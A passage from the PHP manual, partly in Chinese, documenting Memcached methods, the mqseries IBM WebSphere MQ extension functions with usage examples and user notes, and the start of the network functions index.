$m->setOptions(array(Memcached::OPT_HASH => Memcached::HASH_MURMUR, Memcached::OPT_PREFIX_KEY => "widgets"));

var_dump($m->getOption(Memcached::OPT_HASH) == Memcached::HASH_DEFAULT);
echo "Prefix key is now: ", $m->getOption(Memcached::OPT_PREFIX_KEY), "\n";
?>

以上示例会输出：

bool(true)
bool(false)
Prefix key is now: widgets

参见

  • Memcached::getOption() - 获取 Memcached 的选项值
  • Memcached::setOption() - 设置一个 memcached 选项
  • Memcached Constants

User Contributed Notes

There are no user contributed notes for this page.


Set the credentials to use for authentication

  • ? Memcached::setOptions
  • Memcached::touch ?
  • PHP Manual
  • Memcached
  • Set the credentials to use for authentication

Memcached::setSaslAuthData

(PECL memcached >= 2.0.0)

Memcached::setSaslAuthData — Set the credentials to use for authentication

说明

public Memcached::setSaslAuthData(string $username, string $password): bool

Memcached::setSaslAuthData() sets the username and password that should be used for SASL authentication with the memcache servers.

This method is only available when the memcached extension is built with SASL support. Please refer to Memcached setup for how to do this.

参数

username

The username to use for authentication.

password

The password to use for authentication.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

me at koen dot pt 03-Feb-2015 10:47
When using setSaslAuthData(), it's a good change you'll get the following warning:

Warning: Memcached::setSaslAuthData(): SASL is only supported with binary protocol in test.php on line 8

To enable binary protocol you'll have to set the Memcached::OPT_BINARY_PROTOCOL option to true:

<?php
$mc->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
?>


Set a new expiration on an item

  • ? Memcached::setSaslAuthData
  • Memcached::touchByKey ?
  • PHP Manual
  • Memcached
  • Set a new expiration on an item

Memcached::touch

(PECL memcached >= 2.0.0)

Memcached::touch — Set a new expiration on an item

说明

public Memcached::touch(string $key, int $expiration = 0): bool

Memcached::touch() sets a new expiration value on the given key.

参数

key

用于存储值的键名。

expiration

到期时间，默认为 0。 更多信息请参见到期时间。

返回值

成功时返回 true， 或者在失败时返回 false。 如需要则使用 Memcached::getResultCode()。

参见

  • Memcached::touchByKey() - Set a new expiration on an item on a specific server

User Contributed Notes

Dehumanizer 30-May-2015 11:29
With PHP 5.4.41 and memcached 1.4.24 it works in ASCII mode as well.
Pramod Patil 12-Sep-2014 08:44
This is only supported when binary protocol is enabled.
$obj = new Memcached();
$obj->setOption(\Memcached::OPT_BINARY_PROTOCOL, true);


Set a new expiration on an item on a specific server

  • ? Memcached::touch
  • MemcachedException ?
  • PHP Manual
  • Memcached
  • Set a new expiration on an item on a specific server

Memcached::touchByKey

(PECL memcached >= 2.0.0)

Memcached::touchByKey — Set a new expiration on an item on a specific server

说明

public Memcached::touchByKey(string $server_key, string $key, int $expiration = 0): bool

Memcached::touchByKey() is functionally equivalent to Memcached::touch(), except that the free-form server_key can be used to map the key to a specific server.

参数

server_key

本键名用于识别储存和读取值的服务器。没有将实际的键名散列到具体的项目，而是在决定与哪一个 memcached 服务器通信时将其散列为服务器键名。这使得关联的项目在单一的服务上被组合起来以提高多重操作的效率。

key

用于存储值的键名。

expiration

到期时间，默认为 0。 更多信息请参见到期时间。

返回值

成功时返回 true， 或者在失败时返回 false。 如需要则使用 Memcached::getResultCode()。

参见

  • Memcached::touch() - Set a new expiration on an item

User Contributed Notes

There are no user contributed notes for this page.


MemcachedException类

(PECL memcached >= 0.1.0)

简介

类摘要

class MemcachedException extends RuntimeException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


mqseries

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • mqseries 函数
    • mqseries_back — MQSeries MQBACK
    • mqseries_begin — MQseries MQBEGIN
    • mqseries_close — MQSeries MQCLOSE
    • mqseries_cmit — MQSeries MQCMIT
    • mqseries_conn — MQSeries MQCONN
    • mqseries_connx — MQSeries MQCONNX
    • mqseries_disc — MQSeries MQDISC
    • mqseries_get — MQSeries MQGET
    • mqseries_inq — MQSeries MQINQ
    • mqseries_open — MQSeries MQOPEN
    • mqseries_put1 — MQSeries MQPUT1
    • mqseries_put — MQSeries MQPUT
    • mqseries_set — MQSeries MQSET
    • mqseries_strerror — Returns the error message corresponding to a result code (MQRC)

User Contributed Notes

There are no user contributed notes for this page.


简介

This extension aims to provide an interface for communicating with IBMs WebSphere MQ series Queue managers.

The interface mimics the C-API client interface of WebSphere MQ Series as close as possible. Using the same naming conventions and possibilities of the C-API. In order to understand the workings of this extension some level of understanding the C-API is required.

For MQ-options, MQ-structures, MQ-results etc. please read the WebSphere MQ Application Programming Guide and WebSphere MQ Application Programming Reference.

User Contributed Notes

There are no user contributed notes for this page.


需求

A working IBM WebSphere MQ installation. If building the extension the SDK for IBM WebSphere MQ is also required.

Note: Be aware that when running against a IBM WebSphere MQ Client installation some methods are not available. This is not a problem of the extension but just the way the WebSphere MQ Client Interface works.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/mqseries.

Note: The official name of this extension is mqseries.

There are two ways to connect to a queue manager. These depend on the way the extension is compiled and linked.

  • First one and also the default one is using the mqic libraries. Compiling and linking the extension against these IBM WebSphere MQSeries libraries allows the extension to connect to the Queue manager using the client interface. Remote connections are possible this way.

  • The other way is to compile and link against the mqm libraries. Using these libraries it is possible to make use of the transaction management of a queue manager.

Currently selecting the libraries to use is done by changing the config.m4 file.

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

There are no extra configuration parameters.

User Contributed Notes

There are no user contributed notes for this page.


资源类型

This extension defines a connection and object_handle resources.

The mqseries_conn() and mqseries_connx() define the connectionn handles.

The mqseries_open() defines the object handle.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

For each WebSphere MQ Constant there is a mqseries counterpart.

For definitions and usage see the WebSphere MQ Application Programming Guide and WebSphere MQ Application Programming Reference red books.

The name of the mqseries counterpart is made by appending the WebSphere MQ constant with MQSERIES_, for example the CompletionCode constants are:

mqseries constants
PHP Constant | MQ Constant
MQSERIES_MQCC_OK | MQCC_OK
MQSERIES_MQCC_WARNING | MQCC_WARNING
MQSERIES_MQCC_FAILED | MQCC_FAILED
MQSERIES_MQCC_UNKNOWN | MQCC_UNKNOWN

User Contributed Notes

There are no user contributed notes for this page.


mqseries 函数

Table of Contents

  • mqseries_back — MQSeries MQBACK
  • mqseries_begin — MQseries MQBEGIN
  • mqseries_close — MQSeries MQCLOSE
  • mqseries_cmit — MQSeries MQCMIT
  • mqseries_conn — MQSeries MQCONN
  • mqseries_connx — MQSeries MQCONNX
  • mqseries_disc — MQSeries MQDISC
  • mqseries_get — MQSeries MQGET
  • mqseries_inq — MQSeries MQINQ
  • mqseries_open — MQSeries MQOPEN
  • mqseries_put1 — MQSeries MQPUT1
  • mqseries_put — MQSeries MQPUT
  • mqseries_set — MQSeries MQSET
  • mqseries_strerror — Returns the error message corresponding to a result code (MQRC)

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQBACK

  • ? mqseries 函数
  • mqseries_begin ?
  • PHP Manual
  • mqseries 函数
  • MQSeries MQBACK

mqseries_back

(PECL mqseries >= 0.10.0)

mqseries_back — MQSeries MQBACK

说明

mqseries_back(resource $hconn, resource &$compCode, resource &$reason): void

The mqseries_back() (MQBACK) call indicates to the queue manager that all the message gets and puts that have occurred since the last syncpoint are to be backed out. Messages put as part of a unit of work are deleted; messages retrieved as part of a unit of work are reinstated on the queue.

Using mqseries_back() only works in conjunction with mqseries_begin() and only function when connecting directly to a Queueu manager. Not via the mqclient interface.

参数

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

返回值

没有返回值。

示例

Example #1 mqseries_back() example

<?php
mqseries_back($conn, $comp_code, $reason);

if ($comp_code !== MQSERIES_MQCC_OK) {
printf("CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
}
?>

注释

Note:

mqseries_back() will not function when using MQSeries Client to connect to a Queueu Manager.

参见

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_begin() - MQseries MQBEGIN

User Contributed Notes

There are no user contributed notes for this page.


MQseries MQBEGIN

  • ? mqseries_back
  • mqseries_close ?
  • PHP Manual
  • mqseries 函数
  • MQseries MQBEGIN

mqseries_begin

(PECL mqseries >= 0.10.0)

mqseries_begin — MQseries MQBEGIN

说明

mqseries_begin(
resource $hconn,
array $beginOptions,
resource &$compCode,
resource &$reason
): void

The mqseries_begin() (MQBEGIN) call begins a unit of work that is coordinated by the queue manager, and that may involve external resource managers.

Using mqseries_begin() starts the unit of work. Either mqseries_back() or mqseries_cmit() ends the unit of work.

参数

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

返回值

没有返回值。

示例

Example #1 mqseries_begin() example

<?php
$mqbo = array();
mqseries_begin( $conn,
$mqbo,
$comp_code,
$reason);
if ($comp_code !== MQSERIES_MQCC_OK) {
/* reason code 2121 is a warning for more information see MQSeries reference manual.*/
if ($reason !== 2121) {
printf("CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
}
}
?>

注释

Note:

mqseries_begin() will not function when using MQSeries Client to connect to a Queueu Manager.

参见

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_back() - MQSeries MQBACK
  • mqseries_cmit() - MQSeries MQCMIT

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQCLOSE

  • ? mqseries_begin
  • mqseries_cmit ?
  • PHP Manual
  • mqseries 函数
  • MQSeries MQCLOSE

mqseries_close

(PECL mqseries >= 0.10.0)

mqseries_close — MQSeries MQCLOSE

说明

mqseries_close(
resource $hconn,
resource $hobj,
int $options,
resource &$compCode,
resource &$reason
): void

The mqseries_close() (MQCLOSE) call relinquishes access to an object, and is the inverse of the mqseries_open() (MQOPEN) call.

参数

hConn

Connection handle.

This handle represents the connection to the queue manager.

hObj

Object handle.

This handle represents the object to be used.

options

compCode

Completion code.

reason

Reason code qualifying the compCode.

返回值

没有返回值。

示例

Example #1 mqseries_close() example

<?php
mqseries_close($conn, $obj, MQSERIES_MQCO_NONE, $comp_code, $reason);
if ($comp_code !== MQSERIES_MQCC_OK) {
printf("close CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
}
?>

参见

  • mqseries_open() - MQSeries MQOPEN
  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQCMIT

  • ? mqseries_close
  • mqseries_conn ?
  • PHP Manual
  • mqseries 函数
  • MQSeries MQCMIT

mqseries_cmit

(PECL mqseries >= 0.10.0)

mqseries_cmit — MQSeries MQCMIT

说明

mqseries_cmit(resource $hconn, resource &$compCode, resource &$reason): void

The mqseries_cmit() (MQCMIT) call indicates to the queue manager that the application has reached a syncpoint, and that all of the message gets and puts that have occurred since the last syncpoint are to be made permanent. Messages put as part of a unit of work are made available to other applications; messages retrieved as part of a unit of work are deleted.

参数

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

返回值

没有返回值。

示例

Example #1 mqseries_cmit() example

<?php
mqseries_cmit($conn, $comp_code, $reason);
if ($comp_code !== MQSERIES_MQCC_OK) {
printf("cmit CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
}
?>

注释

Note:

mqseries_back() will not function when using MQSeries Client to connect to a Queueu Manager.

参见

  • mqseries_begin() - MQseries MQBEGIN
  • mqseries_back() - MQSeries MQBACK
  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQCONN

  • ? mqseries_cmit
  • mqseries_connx ?
  • PHP Manual
  • mqseries 函数
  • MQSeries MQCONN

mqseries_conn

(PECL mqseries >= 0.10.0)

mqseries_conn — MQSeries MQCONN

说明

mqseries_conn(
string $qManagerName,
resource &$hconn,
resource &$compCode,
resource &$reason
): void

The mqseries_conn() (MQCONN) call connects an application program to a queue manager. It provides a queue manager connection handle, which is used by the application on subsequent message queuing calls.

参数

qManagerName

Name of queue manager.

Name of the queue manager the application wishes to connect.

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

返回值

没有返回值。

示例

Example #1 mqseries_conn() example

<?php
mqseries_conn('WMQ1', $conn, $comp_code, $reason);
if ($comp_code !== MQSERIES_MQCC_OK) {
printf("conn CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
exit;
}
?>

参见

  • mqseries_disc() - MQSeries MQDISC

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQCONNX

  • ? mqseries_conn
  • mqseries_disc ?
  • PHP Manual
  • mqseries 函数
  • MQSeries MQCONNX

mqseries_connx

(PECL mqseries >= 0.10.0)

mqseries_connx — MQSeries MQCONNX

说明

mqseries_connx(
string $qManagerName,
array &$connOptions,
resource &$hconn,
resource &$compCode,
resource &$reason
): void

The mqseries_connx() (MQCONNX) call connects an application program to a queue manager. It provides a queue manager connection handle, which is used by the application on subsequent MQ calls.

The mqseries_connx() call is like the mqseries_conn() (MQCONN) call, except that MQCONNX allows options to be specified to control the way that the call works.

参数

qManagerName

Name of queue manager.

Name of the queue manager the application wishes to connect.

connOps

Options that control the action of function

See also the MQCNO structure.

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

返回值

没有返回值。

示例

Example #1 mqseries_connx() example

<?php
$mqcno = array(
'Version' => MQSERIES_MQCNO_VERSION_2,
'Options' => MQSERIES_MQCNO_STANDARD_BINDING,
'MQCD' => array('ChannelName' => 'MQNX9420.CLIENT',
'ConnectionName' => 'localhost',
'TransportType' => MQSERIES_MQXPT_TCP)
);

mqseries_connx('MQNX9420', $mqcno, $conn, $comp_code,$reason);
if ($comp_code !== MQSERIES_MQCC_OK) {
printf("Connx CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
exit;
}

?>

Example #2 mqseries_connx() example using SSL connection & OCSP Responder URL

<?php
$mqcno = array(
'Version' => 4, //MQCNO_VERSION_4
'Options' => MQSERIES_MQCNO_STANDARD_BINDING,
'MQCD' => array(
'Version' => 7, //MQCD_VERSION_7
'ConnectionName' => 'localhost',
'TransportType' => MQSERIES_MQXPT_TCP,
'ChannelName' => 'CONNECTIONCHANNEL',
'SSLCipherSpec' => 'NULL_SHA'
),
'MQSCO' => array(
'KeyRepository' => '/var/mqm/qmgrs/QUEUEMGR/ssl/key', //Local path where the SSL key repository can be found
'MQAIR' => array(
'Version' => 2, //MQAIR_VERSION_2
'AuthInfoType' => 2, //MQAIT_OCSP
'OCSPResponderURL' => 'http://dummy.OCSP.responder'
)
)
);

mqseries_connx('QUEUEMGR', $mqcno, $conn, $comp_code,$reason);
if ($comp_code !== MQSERIES_MQCC_OK) {
printf("Connx CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
exit;
}

?>

参见

  • mqseries_disc() - MQSeries MQDISC

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQDISC

  • ? mqseries_connx
  • mqseries_get ?
  • PHP Manual
  • mqseries 函数
  • MQSeries MQDISC

mqseries_disc

(PECL mqseries >= 0.10.0)

mqseries_disc — MQSeries MQDISC

说明

mqseries_disc(resource $hconn, resource &$compCode, resource &$reason): void

The mqseries_disc() (MQDISC) call breaks the connection between the queue manager and the application program, and is the inverse of the mqseries_conn() (MQCONN) or mqseries_connx() (MQCONNX) call.

参数

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

返回值

没有返回值。

示例

Example #1 mqseries_disc() example

<?php
mqseries_disc($conn, $comp_code, $reason);
if ($comp_code !== MQSERIES_MQCC_OK) {
printf("disc CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
}
?>

参见

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQGET

  • ? mqseries_disc
  • mqseries_inq ?
  • PHP Manual
  • mqseries 函数
  • MQSeries MQGET

mqseries_get

(PECL mqseries >= 0.10.0)

mqseries_get — MQSeries MQGET

说明

mqseries_get(
resource $hConn,
resource $hObj,
array &$md,
array &$gmo,
int &$bufferLength,
string &$msg,
int &$data_length,
resource &$compCode,
resource &$reason
): void

The mqseries_get() (MQGET) call retrieves a message from a local queue that has been opened using the mqseries_open() (MQOPEN) call

参数

hConn

Connection handle.

This handle represents the connection to the queue manager.

hObj

Object handle.

This handle represents the object to be used.

md

Message descriptor (MQMD).

gmo

Get message options (MQGMO).

bufferLength

Expected length of the result buffer

msg

Buffer holding the message that was retrieved from the object.

data_length

Actual buffer length

compCode

Completion code.

reason

Reason code qualifying the compCode.

返回值

没有返回值。

示例

Example #1 mqseries_get() example

<?php
// open connection to the queue manager
mqseries_conn('WMQ1', $conn, $comp_code, $reason);
// $conn now hold the reference to the connection to the queue manager.

// open the connection to the testq queue
mqseries_open(
$conn,
array('ObjectName' => 'TESTQ'),
MQSERIES_MQOO_INPUT_AS_Q_DEF | MQSERIES_MQOO_FAIL_IF_QUIESCING | MQSERIES_MQOO_OUTPUT,
$obj,
$comp_code,
$reason);
// $obj now holds the reference to the object (TESTQ)

// setup empty message descriptor.
$mdg = array();
// setup get message options
$gmo = array('Options' => MQSERIES_MQGMO_FAIL_IF_QUIESCING | MQSERIES_MQGMO_WAIT, 'WaitInterval' => 3000);

// get the message from the queue
mqseries_get($conn, $obj, $mdg, $gmo, 255, $msg, $data_length, $comp_code, $reason);
if ($comp_code !== MQSERIES_MQCC_OK) {
printf("GET CompCode:%d Reason:%d Text:%s<br>", $comp_code, $reason, mqseries_strerror($reason));
}

// close the object reference $obj
mqseries_close($conn, $obj, MQSERIES_MQCO_NONE, $comp_code, $reason);

// disconnect from the queue manager.
mqseries_disc($conn, $comp_code, $reason);

?>

参见

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_open() - MQSeries MQOPEN
  • mqseries_put() - MQSeries MQPUT

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQINQ

  • ? mqseries_get
  • mqseries_open ?
  • PHP Manual
  • mqseries 函数
  • MQSeries MQINQ

mqseries_inq

(PECL mqseries >= 0.10.0)

mqseries_inq — MQSeries MQINQ

说明

mqseries_inq(
resource $hconn,
resource $hobj,
int $selectorCount,
array $selectors,
int $intAttrCount,
resource &$intAttr,
int $charAttrLength,
resource &$charAttr,
resource &$compCode,
resource &$reason
): void

The mqseries_inq() (MQINQ) call returns an array of integers and a set of character strings containing the attributes of an object.

参数

hConn

Connection handle.

This handle represents the connection to the queue manager.

hObj

Object handle.

This handle represents the object to be used.

selectorCount

Count of selectors.

selectors

Array of attribute selectors.

intAttrLength

Count of integer attributes.

intAttr

Array of integer attributes.

charAttrLength

Length of character attributes buffer.

charAttr

Character attributes.

compCode

Completion code.

reason

Reason code qualifying the compCode.

返回值

没有返回值。

示例

Example #1 mqseries_inq() example

<?php
$int_attr = array();
$char_attr = "";

mqseries_inq($conn, $obj, 1, array(MQSERIES_MQCA_Q_MGR_NAME), 0, $int_attr, 48, $char_attr, $comp_code, $reason);

if ($comp_code !== MQSERIES_MQCC_OK) {
printf("INQ CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
} else {
echo "INQ QManager name result ".$char_attr."<br>\n";
}
?>

参见

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_open() - MQSeries MQOPEN

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQOPEN

  • ? mqseries_inq
  • mqseries_put1 ?
  • PHP Manual
  • mqseries 函数
  • MQSeries MQOPEN

mqseries_open

(PECL mqseries >= 0.10.0)

mqseries_open — MQSeries MQOPEN

说明

mqseries_open(
resource $hconn,
array &$objDesc,
int $option,
resource &$hobj,
resource &$compCode,
resource &$reason
): void

The mqseries_open() (MQOPEN) call establishes access to an object.

参数

hConn

Connection handle.

This handle represents the connection to the queue manager.

objDesc

Object descriptor. (MQOD)

options

Options that control the action of the function.

hObj

Object handle.

This handle represents the object to be used.

compCode

Completion code.

reason

Reason code qualifying the compCode.

返回值

没有返回值。

示例

Example #1 mqseries_open() example

<?php
$mqods = array('ObjectName' => 'TESTQ');
mqseries_open(
$conn,
$mqods,
MQSERIES_MQOO_INPUT_AS_Q_DEF | MQSERIES_MQOO_FAIL_IF_QUIESCING | MQSERIES_MQOO_OUTPUT,
$obj,
$comp_code,
$reason);
if ($comp_code !== MQSERIES_MQCC_OK) {
printf("open CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
exit;
}
?>

参见

  • mqseries_close() - MQSeries MQCLOSE

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQPUT1

  • ? mqseries_open
  • mqseries_put ?
  • PHP Manual
  • mqseries 函数
  • MQSeries MQPUT1

mqseries_put1

(PECL mqseries >= 0.10.0)

mqseries_put1 — MQSeries MQPUT1

说明

mqseries_put1(
resource $hconn,
resource &$objDesc,
resource &$msgDesc,
resource &$pmo,
string $buffer,
resource &$compCode,
resource &$reason
): void

The mqseries_put1() (MQPUT1) call puts one message on a queue. The queue need not be open.

You can use both the mqseries_put() and mqseries_put1() calls to put messages on a queue; which call to use depends on the circumstances. Use the mqseries_put() (MQPUT) call to place multiple messages on the same queue. Use the mqseries_put1() (MQPUT1) call to put only one message on a queue. This call encapsulates the MQOPEN, MQPUT, and MQCLOSE calls into a single call, minimizing the number of calls that must be issued.

参数

hConn

Connection handle.

This handle represents the connection to the queue manager.

objDesc

Object descriptor. (MQOD)

This is a structure which identifies the queue to which the message is added.

msgDesc

Message descriptor (MQMD).

pmo

Put message options (MQPMO).

compCode

Completion code.

reason

Reason code qualifying the compCode.

返回值

没有返回值。

参见

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_open() - MQSeries MQOPEN
  • mqseries_get() - MQSeries MQGET

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQPUT

  • ? mqseries_put1
  • mqseries_set ?
  • PHP Manual
  • mqseries 函数
  • MQSeries MQPUT

mqseries_put

(PECL mqseries >= 0.10.0)

mqseries_put — MQSeries MQPUT

说明

mqseries_put(
resource $hConn,
resource $hObj,
array &$md,
array &$pmo,
string $message,
resource &$compCode,
resource &$reason
): void

The mqseries_put() (MQPUT) call puts a message on a queue or distribution list. The queue or distribution list must already be open.

参数

hConn

Connection handle.

This handle represents the connection to the queue manager.

hObj

Object handle.

This handle represents the object to be used.

md

Message descriptor (MQMD).

pmo

Put message options (MQPMO).

message

The actual message to put onto the queue.

compCode

Completion code.

reason

Reason code qualifying the compCode.

返回值

没有返回值。

示例

Example #1 mqseries_put() example

<?php
// open connection to the queue manager
mqseries_conn('WMQ1', $conn, $comp_code, $reason);
// $conn now hold the reference to the connection to the queue manager.

// open the connectio to the testq queueu
mqseries_open(
$conn,
array('ObjectName' => 'TESTQ'),
MQSERIES_MQOO_INPUT_AS_Q_DEF | MQSERIES_MQOO_FAIL_IF_QUIESCING | MQSERIES_MQOO_OUTPUT,
$obj,
$comp_code,
$reason);
// $obj now holds the reference to the object (TESTQ)

// setup the message descriptor array. Check MQSeries reference manuals.
$md = array(
'Version' => MQSERIES_MQMD_VERSION_1,
'Expiry' => MQSERIES_MQEI_UNLIMITED,
'Report' => MQSERIES_MQRO_NONE,
'MsgType' => MQSERIES_MQMT_DATAGRAM,
'Format' => MQSERIES_MQFMT_STRING,
'Priority' => 1,
'Persistence' => MQSERIES_MQPER_PERSISTENT);

// setup the put message options.
$pmo = array('Options' => MQSERIES_MQPMO_NEW_MSG_ID|MQSERIES_MQPMO_SYNCPOINT);

// put the message 'Ping' on the queueu.
mqseries_put($conn, $obj, $md, $pmo, 'Ping', $comp_code, $reason);

if ($comp_code !== MQSERIES_MQCC_OK) {
printf("put CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
}

// close the object reference $obj
mqseries_close($conn, $obj, MQSERIES_MQCO_NONE, $comp_code, $reason);

// disconnect from the queue manager.
mqseries_disc($conn, $comp_code, $reason);

?>

参见

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_open() - MQSeries MQOPEN
  • mqseries_get() - MQSeries MQGET

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQSET

  • ? mqseries_put
  • mqseries_strerror ?
  • PHP Manual
  • mqseries 函数
  • MQSeries MQSET

mqseries_set

(PECL mqseries >= 0.10.0)

mqseries_set — MQSeries MQSET

说明

mqseries_set(
resource $hConn,
resource $hObj,
int $selectorCount,
array $selectors,
int $intAttrCount,
array $intAttrs,
int $charAttrLength,
array $charAttrs,
resource &$compCode,
resource &$reason
): void

The mqseries_set() (MQSET) call is used to change the attributes of an object represented by a handle. The object must be a queue.

参数

hConn

Connection handle.

This handle represents the connection to the queue manager.

hObj

Object handle.

This handle represents the object to be used.

selectorCount

Count of selectors.

selectors

Array of attribute selectors.

intAttrCount

Count of integer attributes.

intAttrs

Array of integer attributes.

charAttrLength

Length of character attributes buffer.

charAttrs

Character attributes.

compCode

Completion code.

reason

Reason code qualifying the compCode.

返回值

没有返回值。

参见

  • mqseries_inq() - MQSeries MQINQ

User Contributed Notes

There are no user contributed notes for this page.


Returns the error message corresponding to a result code (MQRC)

  • ? mqseries_set
  • 网络 ?
  • PHP Manual
  • mqseries 函数
  • Returns the error message corresponding to a result code (MQRC)

mqseries_strerror

(PECL mqseries >= 0.10.0)

mqseries_strerror — Returns the error message corresponding to a result code (MQRC)

说明

mqseries_strerror(int $reason): string

mqseries_strerror() returns the message that correspond to the reason result code.

参数

reason

Reason code qualifying the compCode.

返回值

string representation of the reason code message.

示例

Example #1 mqseries_strerror() example

<?php
if ($comp_code !== MQSERIES_MQCC_OK) {
printf("open CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
exit;
}
?>

以上示例会输出：

Connx CompCode:2 Reason:2059 Text:Queue manager not available for connection.

User Contributed Notes

j dot romero dot 1214 at gmail dot com 04-Jan-2013 03:03
There might be some error codes missing from the package depending on the MQ client version you are using. To prevent further versions from returning an empty error message simply use a function such as:

<?php
    //... wrapper class ...

    public function getErrorMessage ($errorCode) {
        $errorString = mqseries_strerror($errorCode);
        if (!empty($errorString)) {
            return $errorString;
        } else {
            switch ($errorCode) {
                // insert missing codes here
                case 2537:
                    return "Channel is not available.";
                case 2538:
                    return "Host is not available.";
                case 2539:
                    return "Channel configuration error.";
                case 2540:
                    return "Channel name is unknown.";
                default:
                    return "Unexpected error ({$errorCode})";
            }
        }
    }

    // ... wrapper class ...
?>


网络

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 网络 函数
    • checkdnsrr — 给指定的主机（域名）或者IP地址做DNS通信检查
    • closelog — 关闭系统日志链接
    • dns_check_record — 别名 checkdnsrr
    • dns_get_mx — 别名 getmxrr
    • dns_get_record — 获取指定主机名的 DNS 纪录
    • fsockopen — 打开 Internet 或者 Unix 套接字连接
    • gethostbyaddr — 获取指定 IP 地址对应的 Internet 主机名
    • gethostbyname — 返回主机名对应的 IPv4地址。
    • gethostbynamel — 获取互联网主机名对应的 IPv4 地址列表
    • gethostname — 获取主机名
    • getmxrr — 获取 Internet 主机名对应的 MX 记录
    • getprotobyname — Get protocol number associated with protocol name
    • getprotobynumber — Get protocol name associated with protocol number
    • getservbyname — 获取互联网服务协议对应的端口
    • getservbyport — Get Internet service which corresponds to port and protocol
    • header_register_callback — 调用一个 header 函数
    • header_remove — 删除之前设置的 HTTP 头
    • header — 发送原生 HTTP 头
    • headers_list — 返回已发送的 HTTP 响应头（或准备发送的）
    • headers_sent — 检测消息头是否已经发送
    • http_response_code — 获取/设置响应的 HTTP 状态码
    • inet_ntop — Converts a packed internet address to a human readable representation
    • inet_pton — Converts a human readable IP address to its packed in_addr representation
    • ip2long — 将 IPV4 的字符串互联网协议转换成长整型数字
    • long2ip — 将长整型转化为字符串形式带点的互联网标准格式地址（IPV4）
    • net_get_interfaces — 获取网络接口
    • openlog — Open connection to system logger
    • pfsockopen — 打开持久的 Internet 或 Unix 套接字连接
    • setcookie — 发送 Cookie
    • setrawcookie — 发送未经 URL 编码的 cookie
    • socket_get_status — 别名 stream_get_meta_data
    • socket_set_blocking — 别名 stream_set_blocking
    • socket_set_timeout — 别名 stream_set_timeout
    • syslog — Generate a system log message

User Contributed Notes

There are no user contributed notes for this page.


简介

提供一系列联网函数。

User Contributed Notes

There are no user contributed notes for this page.


需求

Functions checkdnsrr(), getmxrr() and dns_get_record() requires Bind on Linux.

User Contributed Notes

There are no user contributed notes for this page.


资源类型

